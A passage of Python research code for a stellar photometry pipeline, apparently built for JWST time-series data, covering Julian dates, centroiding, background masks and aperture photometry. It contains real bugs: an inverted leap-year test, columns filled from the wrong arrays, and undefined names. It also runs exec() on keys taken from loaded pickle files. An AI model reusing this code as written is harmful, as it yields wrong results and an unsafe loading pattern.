gd2jd(time.gmtime())\n\n    Hours, minutes and/or seconds can be omitted -- if so, they are\n    assumed to be zero.\n\n    Year and month are converted to type INT, but all others can be\n    type FLOAT (standard practice would suggest only the final element\n    of the date should be float)\n    \"\"\"\n    verbose=False\n    if verbose: print(date)\n\n    date = list(date)\n    \n    if len(date)<3:\n        print(\"You must enter a date of the form (2009, 02, 25)!\")\n        return -1\n    elif len(date)==3:\n        for ii in range(3): date.append(0)\n    elif len(date)==4:\n        for ii in range(2): date.append(0)\n    elif len(date)==5:\n        date.append(0)\n\n    yyyy = int(date[0])\n    mm = int(date[1])\n    dd = float(date[2])\n    hh = float(date[3])\n    min = float(date[4])\n    sec = float(date[5])\n\n    UT=hh+min/60+sec/3600\n\n\n    total_seconds=hh*3600+min*60+sec\n    fracday=total_seconds/86400\n\n    if (100*yyyy+mm-190002.5)>0:\n        sig=1\n    else:\n        sig=-1\n\n    JD = 367*yyyy - int(7*(yyyy+int((mm+9)/12))/4) + int(275*mm/9) + dd + 1721013.5 + UT/24 - 0.5*sig +0.5\n\n    months=[\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \n                \"September\", \"October\", \"November\", \"December\"]\n\n    # Now calculate the fractional year. Do we have a leap year?\n    daylist=[31,28,31,30,31,30,31,31,30,31,30,31]\n    daylist2=[31,29,31,30,31,30,31,31,30,31,30,31]\n    if (yyyy%4 != 0):\n        days=daylist2\n    elif (yyyy%400 == 0):\n        days=daylist2\n    elif (yyyy%100 == 0):\n        days=daylist\n    else:\n        days=daylist2\n\n    daysum=0\n    for y in range(mm-1):\n        daysum=daysum+days[y]\n    daysum=daysum+dd-1+UT/24\n\n    if days[1]==29:\n        fracyear=yyyy+daysum/366\n    else:\n        fracyear=yyyy+daysum/365\n    if verbose: \n        print(yyyy,mm,dd,hh,min,sec)\n        print(\"UT=\"+UT)\n        print(\"Fractional day: %f\" % fracday)\n        print(\"\\n\"+months[mm-1]+\" %i, %i, %i:%i:%i UT = JD %f\" % (dd, yyyy, hh, min, sec, JD), end= \" \")\n        print(\" = \" + fracyear+\"\\n\")\n    \n    return JD\n\ndef get_julian_date_from_header(header):\n    # These are specific to STScI standards -- may vary on the ground\n    fitsDate    = header['DATE-OBS']\n    startTimeStr= header['TIME-OBS']\n    endTimeStr  = header['TIME-END']\n    \n    yyyy, mm , dd   = fitsDate.split('-')\n    \n    hh1 , mn1, ss1  = array(startTimeStr.split(':')).astype(float)\n    hh2 , mn2, ss2  = array(endTimeStr.split(':')).astype(float)\n    \n    yyyy  = float(yyyy)\n    mm    = float(mm)\n    dd    = float(dd)\n    \n    hh1   = float(hh1)\n    mn1   = float(mn1)\n    ss1   = float(ss1)\n    \n    hh2   = float(hh2)\n    mn2   = float(mn2)\n    ss2   = float(ss2)\n    \n    startDate   = get_julian_date_from_gregorian_date(yyyy,mm,dd,hh1,mn1,ss1)\n    endDate     = get_julian_date_from_gregorian_date(yyyy,mm,dd,hh2,mn2,ss2)\n\n    return startDate, endDate\n\ndef flux_weighted_centroid(image, ypos, xpos, bSize = 7):\n    '''\n        Flux-weighted centroiding (Knutson et al. 2008)\n        xpos and ypos are the rounded pixel positions of the star\n    '''\n    \n    ## extract a box around the star:\n    #im = a[ypos-bSize:ypos+bSize, xpos-bSize:xpos+bSize].copy()\n    subImage = image[ypos-bSize:ypos+bSize, xpos-bSize:xpos+bSize].transpose().copy()\n\n    y,x = 0,1\n    \n    ydim = subImage.shape[y]\n    xdim = subImage.shape[x]\n    \n    ## add up the flux along x and y\n    xflux = zeros(xdim)\n    xrng  = arange(xdim)\n    \n    yflux = zeros(ydim)\n    yrng  = arange(ydim)\n    \n    for i in range(xdim):\n        xflux[i] = sum(subImage[i,:])\n\n    for j in range(ydim):\n        yflux[j] = sum(subImage[:,j])\n\n    ## get the flux weighted average position:\n    ypeak = sum(yflux * yrng) / sum(yflux) + ypos - float(bSize)\n    xpeak = sum(xflux * xrng) / sum(xflux) + xpos - float(bSize)\n\n    return (ypeak, xpeak)\n\ndef fit_gauss(subFrameNow, xinds, yinds, initParams, print_compare=False):\n    # initParams = (height, x, y, width_x, width_y, offset)\n    fit_lvmq = fitting.LevMarLSQFitter()\n    model0  = models.Gaussian2D(amplitude=initParams[0], x_mean=initParams[1], y_mean=initParams[2], \n                                x_stddev=initParams[3], y_stddev=initParams[4], theta=0.0) + \\\n              models.Const2D(amplitude=initParams[5])\n    \n    model1  = fit_lvmq(model0, xinds, yinds, subFrameNow)\n    model1  = fit_lvmq(model1, xinds, yinds, subFrameNow)\n    \n    if print_compare:\n        print(model1.amplitude_0 - initParams[0], end=\" \")\n        print(model1.x_mean_0    - initParams[1], end=\" \")\n        print(model1.y_mean_0    - initParams[2], end=\" \")\n        print(model1.x_stddev_0  - initParams[3], end=\" \")\n        print(model1.y_stddev_0  - initParams[4], end=\" \")\n        print(model1.amplitude_1 - initParams[5])\n    \n    return model1.parameters\n\nclass wanderer(object):\n    print('\\n\\n** Not all who wander are lost **\\n\\n')\n    def __init__(self, fitsFileDir = './', filetype = 'slp.fits', \n                 yguess=None, xguess=None, npix=10, method='mean'):\n        \n        y,x = 0,1\n        \n        if method == 'mean':\n            self.metric  = mean\n        elif method == 'median':\n            self.metric  = median\n        else:\n            raise Exception(\"`method` must be from the list ['mean', 'median']\")\n        \n        self.fitsFileDir  = fitsFileDir\n        self.fitsFilenames = glob(self.fitsFileDir + '/*' + filetype)\n        self.nSlopeFiles  = len(self.fitsFilenames)\n        \n        if self.nSlopeFiles == 0:\n            print('Pipeline found no Files in ' + self.fitsFileDir + ' of type /*' + filetype)\n            exit(-1)\n        \n        self.centering_df   = DataFrame()\n        self.background_df  = DataFrame()\n        self.flux_TSO_df    = DataFrame()\n        self.noise_TSO_df   = DataFrame()\n        \n        testfits            = fits.open(self.fitsFilenames[0])[0]\n        \n        self.imageCube      = np.zeros((self.nSlopeFiles, testfits.data[0].shape[0], testfits.data[0].shape[1]))\n        self.noiseCube      = np.zeros((self.nSlopeFiles, testfits.data[0].shape[0], testfits.data[0].shape[1]))\n        self.timeCube       = np.zeros(self.nSlopeFiles)\n        \n        if yguess == None:\n            self.yguess = self.imageCube.shape[y]//2\n        else:\n            self.yguess = yguess\n        if xguess == None:\n            self.xguess = self.imageCube.shape[x]//2\n        else:\n            self.xguess = xguess\n        \n        self.npix = npix\n        \n    def load_data_from_fits_files(self):\n        \n        nGroups        = len(self.fitsFilenames)\n        for kframe, fname in enumerate(self.fitsFilenames):\n            \n            fitsNow = fits.open(fname)\n            \n            self.imageCube[kframe] = fitsNow[0].data[0]\n            self.noiseCube[kframe] = fitsNow[0].data[1]\n            \n            # re-write these 4 lines into `get_julian_date_from_header`\n            day2sec        = 86400.\n            startJD,endJD     = get_julian_date_from_header(fitsNow[0].header)\n            timeSpan          = (endJD - startJD)*day2sec/nGroups\n            self.timeCube[kframe]  = startJD  + timeSpan*(kframe+0.5) / day2sec - 2450000.\n            \n            del fitsNow[0].data\n            fitsNow.close()\n            del fitsNow\n    \n    def load_data_from_save_files(self, savefiledir=None, saveFileNameHeader=None, saveFileType='.pickle.save'):\n        \n        if saveFileNameHeader is None:\n            raise Exception('`saveFileNameHeader` should be the beginning of each save file name')\n        \n        if savefiledir is None:\n            savefiledir = './'\n        \n        print('Loading from Master Files')\n        self.centering_df   = read_pickle(savefiledir  + saveFileNameHeader + '_centering_dataframe'  + saveFileType)\n        self.background_df  = read_pickle(savefiledir + saveFileNameHeader + '_background_dataframe' + saveFileType)\n        self.flux_TSO_df    = read_pickle(savefiledir   + saveFileNameHeader + '_flux_TSO_dataframe'   + saveFileType)\n        \n        try:\n            self.noise_TSO_df   = read_pickle(savefiledir   + saveFileNameHeader + '_noise_TSO_dataframe'   + saveFileType)\n        except:\n            self.noise_TSO_df   = None\n        \n        self.imageCube        = joblib.load(savefiledir  + saveFileNameHeader + '_image_cube_array' + saveFileType)\n        self.noiseCube        = joblib.load(savefiledir  + saveFileNameHeader + '_noise_cube_array' + saveFileType)\n        self.timeCube         = joblib.load(savefiledir  + saveFileNameHeader + '_time_cube_array'  + saveFileType)\n        \n        self.imageBadPixMasks = joblib.load(savefiledir  + saveFileNameHeader + '_image_bad_pix_cube_array' + saveFileType)\n        \n        self.save_dict        = joblib.load(savefiledir + saveFileNameHeader + '_save_dict' + saveFileType)\n        \n        print('Assigning Parts of `self.save_dict` to individual data structures')\n        for key in self.save_dict.keys():\n            exec(\"self.\" + key + \" = self.save_dict['\" + key + \"']\")\n        \n        # self.fitsFileDir              = self.save_dict['fitsFileDir']\n        # self.fitsFilenames             = self.save_dict['fitsFilenames']\n\n        # self.background_Annulus       = self.save_dict['background_Annulus']\n        # self.background_CircleMask    = self.save_dict['background_CircleMask']\n        # self.background_GaussMoment   = self.save_dict['background_GaussMoment']\n        # self.background_GaussianFit   = self.save_dict['background_GaussianFit']\n        # self.background_KDEUniv       = self.save_dict['background_KDEUniv']\n        # self.background_MedianMask    = self.save_dict['background_MedianMask']\n        # self.centering_FluxWeight     = self.save_dict['centering_FluxWeight']\n        # self.centering_GaussianFit    = self.save_dict['centering_GaussianFit']\n        # self.centering_GaussianMoment = self.save_dict['centering_GaussianMoment']\n        # self.centering_LeastAsym      = self.save_dict['centering_LeastAsym']\n        # self.fitsFileDir              = self.save_dict['fitsFileDir']\n        # self.heights_GaussianFit      = self.save_dict['heights_GaussianFit']\n        # self.heights_GaussianMoment   = self.save_dict['heights_GaussianMoment']\n        # # self.imageCubeMAD             = self.save_dict['imageCubeMAD']\n        # # self.imageCubeMedian          = self.save_dict['imageCubeMedian']\n        # self.fitsFilenames             = self.save_dict['fitsFilenames']\n        # self.widths_GaussianFit       = self.save_dict['widths_GaussianFit']\n        # self.widths_GaussianMoment    = self.save_dict['widths_GaussianMoment']\n    \n    def save_data_to_save_files(self, savefiledir=None, saveFileNameHeader=None, saveFileType='.pickle.save'):\n        \n        if saveFileNameHeader is None:\n            raise Exception('`saveFileNameHeader` should be the beginning of each save file name')\n        \n        if savefiledir is None:\n            savefiledir = './'\n        \n        date            = localtime()\n        \n        year            = date.tm_year\n        month           = date.tm_mon\n        day             = date.tm_mday\n        \n        hour            = date.tm_hour\n        minute          = date.tm_min\n        sec             = date.tm_sec\n        \n        date_string     = '_' + str(year) + '-' + str(month)  + '-' + str(day) + '_' +                                 str(hour) + 'h' + str(minute) + 'm' + str(sec) + 's'\n        \n        saveFileTypeBak = date_string + saveFileType\n        \n        initiate_save_dict()\n        \n        print('Saving to Master File -- Overwriting Previous Master')\n        self.centering_df.to_pickle(savefiledir  + saveFileNameHeader + '_centering_dataframe'  + saveFileType)\n        self.background_df.to_pickle(savefiledir + saveFileNameHeader + '_background_dataframe' + saveFileType)\n        self.flux_TSO_df.to_pickle(savefiledir   + saveFileNameHeader + '_flux_TSO_dataframe'   + saveFileType)\n        \n        joblib.dump(self.imageCube, savefiledir  + saveFileNameHeader + '_image_cube_array' + saveFileType)\n        joblib.dump(self.noiseCube, savefiledir  + saveFileNameHeader + '_noise_cube_array' + saveFileType)\n        joblib.dump(self.timeCube , savefiledir  + saveFileNameHeader + '_time_cube_array'  + saveFileType)\n        \n        joblib.dump(self.imageBadPixMasks, savefiledir  + saveFileNameHeader + '_image_bad_pix_cube_array' + saveFileType)\n        \n        joblib.dump(self.save_dict, savefiledir + saveFileNameHeader + '_save_dict' + saveFileType)\n        \n        print('Saving to New TimeStamped File -- These Tend to Pile Up!')\n        self.centering_df.to_pickle(savefiledir  + saveFileNameHeader + '_centering_dataframe'  + saveFileTypeBak)\n        self.background_df.to_pickle(savefiledir + saveFileNameHeader + '_background_dataframe' + saveFileTypeBak)\n        self.flux_TSO_df.to_pickle(savefiledir   + saveFileNameHeader + '_flux_TSO_dataframe'   + saveFileTypeBak)\n        \n        joblib.dump(self.imageCube, savefiledir  + saveFileNameHeader + '_image_cube_array' + saveFileTypeBak)\n        joblib.dump(self.noiseCube, savefiledir  + saveFileNameHeader + '_noise_cube_array' + saveFileTypeBak)\n        joblib.dump(self.timeCube , savefiledir  + saveFileNameHeader + '_time_cube_array'  + saveFileTypeBak)\n        \n        joblib.dump(self.imageBadPixMasks, savefiledir  + saveFileNameHeader + '_image_bad_pix_cube_array' + saveFileTypeBak)\n        \n        joblib.dump(self.save_dict, savefiledir + saveFileNameHeader + '_save_dict' + saveFileTypeBak)\n    \n    def initiate_save_dict(self):\n        \n        self.save_dict  = {} # DataFrame() -- test if this works later\n        \n        self.save_dict['fitsFileDir']               = self.fitsFileDir\n        self.save_dict['fitsFilenames']              = self.fitsFilenames\n        \n        self.save_dict['background_Annulus']        = self.background_Annulus\n        self.save_dict['background_CircleMask']     = self.background_CircleMask\n        self.save_dict['background_GaussMoment']    = self.background_GaussMoment\n        self.save_dict['background_GaussianFit']    = self.background_GaussianFit\n        self.save_dict['background_KDEUniv']        = self.background_KDEUniv\n        self.save_dict['background_MedianMask']     = self.background_MedianMask\n        self.save_dict['centering_FluxWeight']      = self.centering_FluxWeight\n        self.save_dict['centering_GaussianFit']     = self.centering_GaussianFit\n        self.save_dict['centering_GaussianMoment']  = self.centering_GaussianMoment\n        self.save_dict['centering_LeastAsym']       = self.centering_LeastAsym\n        self.save_dict['fitsFileDir']               = self.fitsFileDir\n        self.save_dict['heights_GaussianFit']       = self.heights_GaussianFit\n        self.save_dict['heights_GaussianMoment']    = self.heights_GaussianMoment\n        # self.save_dict['']                          = self.imageCubeMAD\n        # self.save_dict['']                          = self.imageCubeMedian\n        self.save_dict['method']                    = self.method\n        self.save_dict['npix']                      = self.npix\n        self.save_dict['fitsFilenames']              = self.fitsFilenames\n        self.save_dict['yguess']                    = self.yguess\n        self.save_dict['xguess']                    = self.xguess\n        self.save_dict['widths_GaussianFit']        = self.widths_GaussianFit\n        self.save_dict['widths_GaussianMoment']     = self.widths_GaussianMoment\n    \n    def copy_instance(self):\n        \n        temp = wanderer()\n        temp.saveFileNameHeader = self.saveFileNameHeader\n        temp.savefiledir = self.savefiledir\n        \n        temp.centering_df = self.centering_df\n        temp.background_df = self.background_df\n        temp.flux_TSO_df = self.flux_TSO_df\n        temp.noise_TSO_df = self.noise_TSO_df\n        \n        temp.imageCube = self.imageCube\n        temp.noiseCube = self.noiseCube\n        temp.timeCube = self.timeCube\n        \n        temp.imageBadPixMasks = self.imageBadPixMasks = joblib.load(savefiledir  + saveFileNameHeader + '_image_bad_pix_cube_array' + saveFileType)\n        \n        print('Assigning Parts of `temp.save_dict` to from `self.save_dict`')\n        temp.save_dict = self.save_dict\n        for key in self.save_dict.keys():\n            exec(\"temp.\" + key + \" = temp.save_dict['\" + key + \"']\")\n        \n        # temp.fitsFileDir              = temp.save_dict['fitsFileDir']\n        # temp.fitsFilenames             = temp.save_dict['fitsFilenames']\n\n        # temp.background_Annulus       = temp.save_dict['background_Annulus']\n        # temp.background_CircleMask    = temp.save_dict['background_CircleMask']\n        # temp.background_GaussMoment   = temp.save_dict['background_GaussMoment']\n        # temp.background_GaussianFit   = temp.save_dict['background_GaussianFit']\n        # temp.background_KDEUniv       = temp.save_dict['background_KDEUniv']\n        # temp.background_MedianMask    = temp.save_dict['background_MedianMask']\n        # temp.centering_FluxWeight     = temp.save_dict['centering_FluxWeight']\n        # temp.centering_GaussianFit    = temp.save_dict['centering_GaussianFit']\n        # temp.centering_GaussianMoment = temp.save_dict['centering_GaussianMoment']\n        # temp.centering_LeastAsym      = temp.save_dict['centering_LeastAsym']\n        # temp.fitsFileDir              = temp.save_dict['fitsFileDir']\n        # temp.heights_GaussianFit      = temp.save_dict['heights_GaussianFit']\n        # temp.heights_GaussianMoment   = temp.save_dict['heights_GaussianMoment']\n        # # temp.imageCubeMAD             = temp.save_dict['imageCubeMAD']\n        # # temp.imageCubeMedian          = temp.save_dict['imageCubeMedian']\n        # temp.fitsFilenames             = temp.save_dict['fitsFilenames']\n        # temp.widths_GaussianFit       = temp.save_dict['widths_GaussianFit']\n        # temp.widths_GaussianMoment    = temp.save_dict['widths_GaussianMoment']\n    \n    def find_bad_pixels(self, nSig=5):\n        # we chose 5 arbitrarily, but from experience\n        self.imageCubeMedian  = median(self.imageCube,axis=0)\n        self.imageCubeMAD     = scale.mad(self.imageCube,axis=0)\n        \n        self.imageBadPixMasks = abs(self.imageCube - self.imageCubeMedian) > nSig*self.imageCubeMAD\n        \n        print(\"There are \" + str(sum(self.imageBadPixMasks)) + \" 'Hot' Pixels\")\n        \n        self.imageCube[self.imageBadPixMasks] = nan\n    \n    def fit_gaussian_fitting_centering(self, method='la', initc='fw', print_compare=False):\n        y,x = 0,1\n        \n        yinds0, xinds0 = indices(self.imageCube[0].shape)\n        \n        ylower = self.yguess - self.npix\n        yupper = self.yguess + self.npix\n        xlower = self.xguess - self.npix\n        xupper = self.xguess + self.npix\n        \n        ylower, xlower, yupper, xupper = np.int32([ylower, xlower, yupper, xupper])\n        \n        yinds = yinds0[ylower:yupper, xlower:xupper]\n        xinds = xinds0[ylower:yupper, xlower:xupper]\n        \n        self.centering_GaussianFit    = zeros((self.imageCube.shape[0], 2))\n        self.centering_GaussianMoment = zeros((self.imageCube.shape[0], 2))\n        self.widths_GaussianFit       = zeros((self.imageCube.shape[0], 2))\n        self.widths_GaussianMoment    = zeros((self.imageCube.shape[0], 2))\n        \n        self.heights_GaussianFit      = zeros(self.imageCube.shape[0])\n        self.heights_GaussianMoment   = zeros(self.imageCube.shape[0])\n        # self.rotation_GaussianFit     = zeros(self.imageCube.shape[0])\n        self.background_GaussMoment   = zeros(self.imageCube.shape[0])\n        self.background_GaussianFit   = zeros(self.imageCube.shape[0])\n        \n        for kframe in range(self.imageCube.shape[0]):\n            subFrameNow = self.imageCube[kframe][ylower:yupper, xlower:xupper]\n            subFrameNow[isnan(subFrameNow)] = median(~isnan(subFrameNow))\n            \n            cmom    = np.array(moments(subFrameNow))  # H, Xc, Yc, Xs, Ys, O\n            \n            if method == 'ap':\n                if initc == 'fw' and self.centering_FluxWeight.sum():\n                    FWCNow    = self.centering_FluxWeight[kframe]\n                    FWCNow[y] = FWCNow[y] - ylower\n                    FWCNow[x] = FWCNow[x] - xlower\n                    gaussI    = hstack([cmom[0], FWCNow, cmom[3:]])\n                if initc == 'cm':\n                    gaussI  = hstack([cmom[0], cmom[1], cmom[2], cmom[3:]])\n                \n                gaussP  = fit_gauss(subFrameNow, xinds, yinds, gaussI) # H, Xc, Yc, Xs, Ys, Th, O\n            \n            if method == 'la':\n                gaussP  = fitgaussian(subFrameNow)#, xinds, yinds, np.copy(cmom)) # H, Xc, Yc, Xs, Ys, Th, O\n            \n            self.centering_GaussianFit[kframe][x]     = gaussP[1] + xlower\n            self.centering_GaussianFit[kframe][y]     = gaussP[2] + ylower\n            self.centering_GaussianMoment[kframe][x]  = cmom[1]   + xlower\n            self.centering_GaussianMoment[kframe][y]  = cmom[2]   + ylower\n            \n            self.widths_GaussianFit[kframe][x]        = gaussP[3]\n            self.widths_GaussianFit[kframe][y]        = gaussP[4]\n            self.widths_GaussianMoment[kframe][x]     = cmom[3]\n            self.widths_GaussianMoment[kframe][y]     = cmom[4]\n            \n            self.heights_GaussianFit[kframe]          = gaussP[0]\n            self.heights_GaussianMoment[kframe]       = cmom[0]\n            \n            self.background_GaussianFit[kframe]       = gaussP[5]\n            self.background_GaussMoment[kframe]       = cmom[5]\n            \n            if print_compare:\n                print('Finished Frame ' + str(kframe) + ' with Yc = ' +                       str(self.centering_GaussianFit[kframe][y] - self.centering_GaussianMoment[kframe][y]) + '; Xc = ' +                       str(self.centering_GaussianFit[kframe][x] - self.centering_GaussianMoment[kframe][x]))\n            \n            del gaussP, cmom\n        \n        self.centering_df = DataFrame()\n        self.centering_df['Gaussian_Fit_Y_Centers'] = self.centering_GaussianFit.T[y]\n        self.centering_df['Gaussian_Fit_X_Centers'] = self.centering_GaussianFit.T[x]\n        self.centering_df['Gaussian_Mom_Y_Centers'] = self.centering_GaussianFit.T[y]\n        self.centering_df['Gaussian_Mom_X_Centers'] = self.centering_GaussianFit.T[x]\n        \n        self.centering_df['Gaussian_Fit_Y_Widths']  = self.widths_GaussianFit.T[y]\n        self.centering_df['Gaussian_Fit_X_Widths']  = self.widths_GaussianFit.T[x]\n        self.centering_df['Gaussian_Mom_Y_Widths']  = self.widths_GaussianMoment.T[y]\n        self.centering_df['Gaussian_Mom_X_Widths']  = self.widths_GaussianMoment.T[x]\n        \n        self.centering_df['Gaussian_Fit_Heights']   = self.heights_GaussianFit\n        self.centering_df['Gaussian_Mom_Heights']   = self.heights_GaussianMoment\n        \n        self.centering_df['Gaussian_Fit_Offset']    = self.background_GaussianFit\n        self.centering_df['Gaussian_Mom_Offset']    = self.background_GaussMoment\n        \n        # self.centering_df['Gaussian_Fit_Rotation']    = self.rotation_GaussianFit\n    \n    def fit_flux_weighted_centering(self):\n        y,x = 0,1\n        \n        yinds0, xinds0 = indices(self.imageCube[0].shape)\n        \n        ylower = self.yguess - self.npix\n        yupper = self.yguess + self.npix\n        xlower = self.xguess - self.npix\n        xupper = self.xguess + self.npix\n        \n        ylower, xlower, yupper, xupper = np.int32([ylower, xlower, yupper, xupper])\n        \n        yinds = yinds0[ylower:yupper, xlower:xupper]\n        xinds = xinds0[ylower:yupper, xlower:xupper]\n        \n        nFWCParams                = 2 # Xc, Yc\n        self.centering_FluxWeight = np.zeros((self.nSlopeFiles, nFWCParams))\n        \n        for kframe in range(self.nSlopeFiles):\n            subFrameNow = self.imageCube[kframe][ylower:yupper, xlower:xupper]\n            subFrameNow[isnan(subFrameNow)] = median(~isnan(subFrameNow))\n            \n            self.centering_FluxWeight[kframe] = flux_weighted_centroid(self.imageCube[kframe], \n                                                                       self.yguess, self.xguess, bSize = 7)\n            self.centering_FluxWeight[kframe] = self.centering_FluxWeight[kframe][::-1]\n        \n        self.centering_df['FluxWeighted_Y_Centers'] = self.centering_FluxWeight.T[y]\n        self.centering_df['FluxWeighted_X_Centers'] = self.centering_FluxWeight.T[x]\n\n    def fit_least_asymmetry_centering(self):\n        \n        y,x = 0,1\n        \n        yinds0, xinds0 = indices(self.imageCube[0].shape)\n        \n        ylower = self.yguess - self.npix\n        yupper = self.yguess + self.npix\n        xlower = self.xguess - self.npix\n        xupper = self.xguess + self.npix\n        \n        ylower, xlower, yupper, xupper = np.int32([ylower, xlower, yupper, xupper])\n        \n        yinds = yinds0[ylower:yupper, xlower:xupper]\n        xinds = xinds0[ylower:yupper, xlower:xupper]\n        \n        nAsymParams = 2 # Xc, Yc\n        self.centering_LeastAsym  = np.zeros((self.nSlopeFiles, nAsymParams))\n        \n        for kframe in range(self.nSlopeFiles):\n            # print(kframe, ylower,yupper, xlower,xupper) # (0 143 163 150 170)\n            subFrameNow = self.imageCube[kframe][ylower:yupper, xlower:xupper]\n            subFrameNow[isnan(subFrameNow)]   = median(subFrameNow)\n            \n            center_asym = actr(self.imageCube[kframe], [self.yguess, self.xguess])[0]\n            try:\n                self.centering_LeastAsym[kframe]  = center_asym[::-1]\n            except:\n                self.centering_LeastAsym[kframe]  = [nan,nan]\n        \n        self.centering_df['LeastAsymmetry_Y_Centers'] = self.centering_FluxWeight.T[y]\n        self.centering_df['LeastAsymmetry_X_Centers'] = self.centering_FluxWeight.T[x]\n\n    def fit_all_centering(self):\n        print('Fit for Gaussian Fitting & Gaussian Moment Centers\\n')\n        self.fit_gaussian_fitting_centering()\n        print('Fit for Flux Weighted Centers\\n')\n        self.fit_flux_weighted_centering()\n        print('Fit for Least Asymmetry Centers\\n')\n        self.fit_least_asymmetry_centering()\n    \n    def measure_effective_width(self):\n        self.effective_widths = self.imageCube.sum(axis=(1,2))**2. / ((self.imageCube)**2).sum(axis=(1,2))\n        self.centering_df['Effective_Widths'] = self.effective_widths\n    \n    def measure_background_circle_masked(self, aperRad=None, method='mean'):\n        \"\"\"\n            Assigning all zeros in the mask to NaNs because the `mean` and `median` \n                functions are set to `nanmean` functions, which will skip all NaNs\n        \"\"\"\n        \n        if aperRad is None:\n            if 'wlp' in self.fitsFilenames[0].lower():\n                aperRad = 100\n            else:\n                aperRad = 10\n        \n        medianCenter   = median(self.centering_FluxWeight, axis=0)\n        aperture       = CircularAperture(medianCenter, aperRad)\n        backgroundMask = abs(aperture.get_fractions(np.ones(self.imageCube[0].shape))-1)\n        backgroundMask[backgroundMask == 0] = nan\n        \n        self.background_CircleMask = self.metric(self.imageCube*backgroundMask,axis=(1,2))\n        \n        self.background_df['CircleMask'] = self.background_CircleMask\n    \n    def measure_background_annular_mask(self, innerRad=None, outerRad=None, method='mean'):\n        \n        if innerRad is None:\n            if 'wlp' in self.fitsFilenames[0].lower():\n                innerRad = 100\n            else:\n                innerRad = 10\n        \n        if outerRad is None:\n            if 'wlp' in self.fitsFilenames[0].lower():\n                outerRad = 150\n            else:\n                outerRad = 15\n        \n        medianCenter  = median(self.centering_LeastAsym, axis=0)\n        \n        innerAperture = CircularAperture(medianCenter, innerRad).get_fractions(np.ones(self.imageCube[0].shape))\n        outerAperture = CircularAperture(medianCenter, outerRad).get_fractions(np.ones(self.imageCube[0].shape))\n                \n        backgroundMask= abs((outerAperture - innerAperture))\n        backgroundMask[backgroundMask == 0] = nan\n        \n        self.background_Annulus = self.metric(self.imageCube*backgroundMask, axis=(1,2))\n        self.background_df['AnnularMask'] = self.background_Annulus\n    \n    def measure_background_median_masked(self, aperRad=None, nSig=5, method='mean'):\n        \n        if aperRad is None:\n            if 'wlp' in self.fitsFilenames[0].lower():\n                aperRad = 100\n            else:\n                aperRad = 10\n        \n        self.background_MedianMask  = np.zeros(self.nSlopeFiles)\n        \n        medianCenter   = median(self.centering_FluxWeight, axis=0)\n        aperture       = CircularAperture(medianCenter, aperRad)\n        backgroundMask = abs(aperture.get_fractions(np.ones(self.imageCube[0].shape))-1)\n        \n        for kframe in range(self.nSlopeFiles):\n            medFrame  = median(self.imageCube[kframe])\n            madFrame  = scale.mad(self.imageCube[kframe])\n            \n            medianMask= abs(self.imageCube[kframe] - medFrame) < nSig*madFrame\n            \n            maskComb  = medianMask*backgroundMask\n            maskComb[maskComb == 0] = nan\n            \n            self.background_MedianMask[kframe] = self.metric(self.imageCube[kframe]*maskComb)\n        \n        self.background_df['MedianMask'] = self.background_MedianMask\n    \n    def measure_background_KDE_Mode(self, aperRad=None):\n        \n        if aperRad is None:\n            if 'wlp' in self.fitsFilenames[0].lower():\n                aperRad = 100\n            else:\n                aperRad = 10\n        \n        self.background_KDEUniv = np.zeros(self.nSlopeFiles)\n        \n        medianCenter   = median(self.centering_FluxWeight, axis=0)\n        aperture       = CircularAperture(medianCenter, aperRad)\n        backgroundMask = abs(aperture.get_fractions(np.ones(self.imageCube[0].shape))-1)\n        \n        for kframe in range(self.nSlopeFiles):\n            frameNow = (self.imageCube[kframe]*backgroundMask).ravel()\n            kdeFrame = kde.KDEUnivariate(frameNow[np.where(backgroundMask.ravel() != 0.0)])\n            kdeFrame.fit()\n            \n            self.background_KDEUniv[kframe] = kdeFrame.support[kdeFrame.density.argmax()]\n        \n        self.background_df['KDEUnivMask'] = self.background_KDEUniv\n    \n    def measure_all_background(self, nSig=5):\n        print('Measuring Background Using Circle Mask')\n        self.measure_background_circle_masked()\n        print('Measuring Background Using Annular Mask')\n        self.measure_background_annular_mask()\n        print('Measuring Background Using Median Mask')\n        self.measure_background_median_masked(nSig=nSig)\n        print('Measuring Background Using KDE Mode')\n        self.measure_background_KDE_Mode()\n    \n    def compute_flux_over_time(self, aperRad=None, centering='LeastAsymmetry', background='AnnularMask'):\n        y,x = 0,1\n        \n        if background not in self.background_df.columns:\n            raise Exception(\"`background` must be in\", self.background_df.columns)\n        \n        if centering not in ['Gaussian_Fit', 'Gaussian_Mom', 'FluxWeighted', 'LeastAsymmetry']:\n            raise Exception(\"`centering` must be either 'Gaussian_Fit', 'Gaussian_Mom', 'FluxWeighted', or 'LeastAsymmetry'\")\n        \n        if aperRad is None:\n            if 'wlp' in self.fitsFilenames[0].lower():\n                aperRad = 70\n            else:\n                aperRad = 3\n        \n        centering_Use = np.transpose([self.centering_df[centering + '_Y_Centers'], \n                                      self.centering_df[centering + '_X_Centers']])\n        \n        background_Use= self.background_df[background]\n        \n        flux_key_now  = centering + '_' + background+'_' + 'rad' + '_' + str(aperRad)\n        flux_TSO_now  = np.zeros(self.nSlopeFiles)\n        noise_TSO_now = np.zeros(self.nSlopeFiles)\n        for kframe in range(self.nSlopeFiles):\n            frameNow  = np.copy(self.imageCube[kframe]) - background_Use[kframe]\n            frameNow[np.isnan(frameNow)] = median(frameNow)\n            \n            noiseNow  = np.copy(self.noiseCube[kframe])**2.\n            noiseNow[np.isnan(noiseNow)] = median(noiseNow)\n            \n            aperture  = CircularAperture([centering_Use[kframe][x], centering_Use[kframe][y]], r=aperRad)\n            \n            flux_TSO_now[kframe]  = aperture_photometry(frameNow, aperture)['aperture_sum']\n            noise_TSO_now[kframe] = sqrt(aperture_photometry(noiseNow, aperture)['aperture_sum'])\n        \n        self.flux_TSO_df[flux_key_now]  = flux_TSO_now\n        self.noise_TSO_df[flux_key_now] = noise_TSO_now\n\ntm_year, tm_mon, tm_mday, tm_hour, tm_min, tm_sec, tm_wday, tm_yday, tm_isdst = localtime()\nprint('Completed Class Definition at ' +\n      str(tm_year) + '-' + str(tm_mon) + '-' + str(tm_mday) + ' ' + \\\n      str(tm_hour) + 'h' + str(tm_min) + 'm' + str(tm_sec) + 's')\n\nppm             = 1e6\ny,x             = 0,1\n\nyguess, xguess  = 160., 167. # Specific to JWST WLP Test Data\nfiletype        = 'slp.fits' # Specific to JWST WLP Test Data\n\ndataDir     = '/path/to/fits/files/main/directory/'\nfitsFileDir = 'path/to/fits/subdirectories/'\n\nloadfitsdir = dataDir + fitsFileDir\n\nmethod = 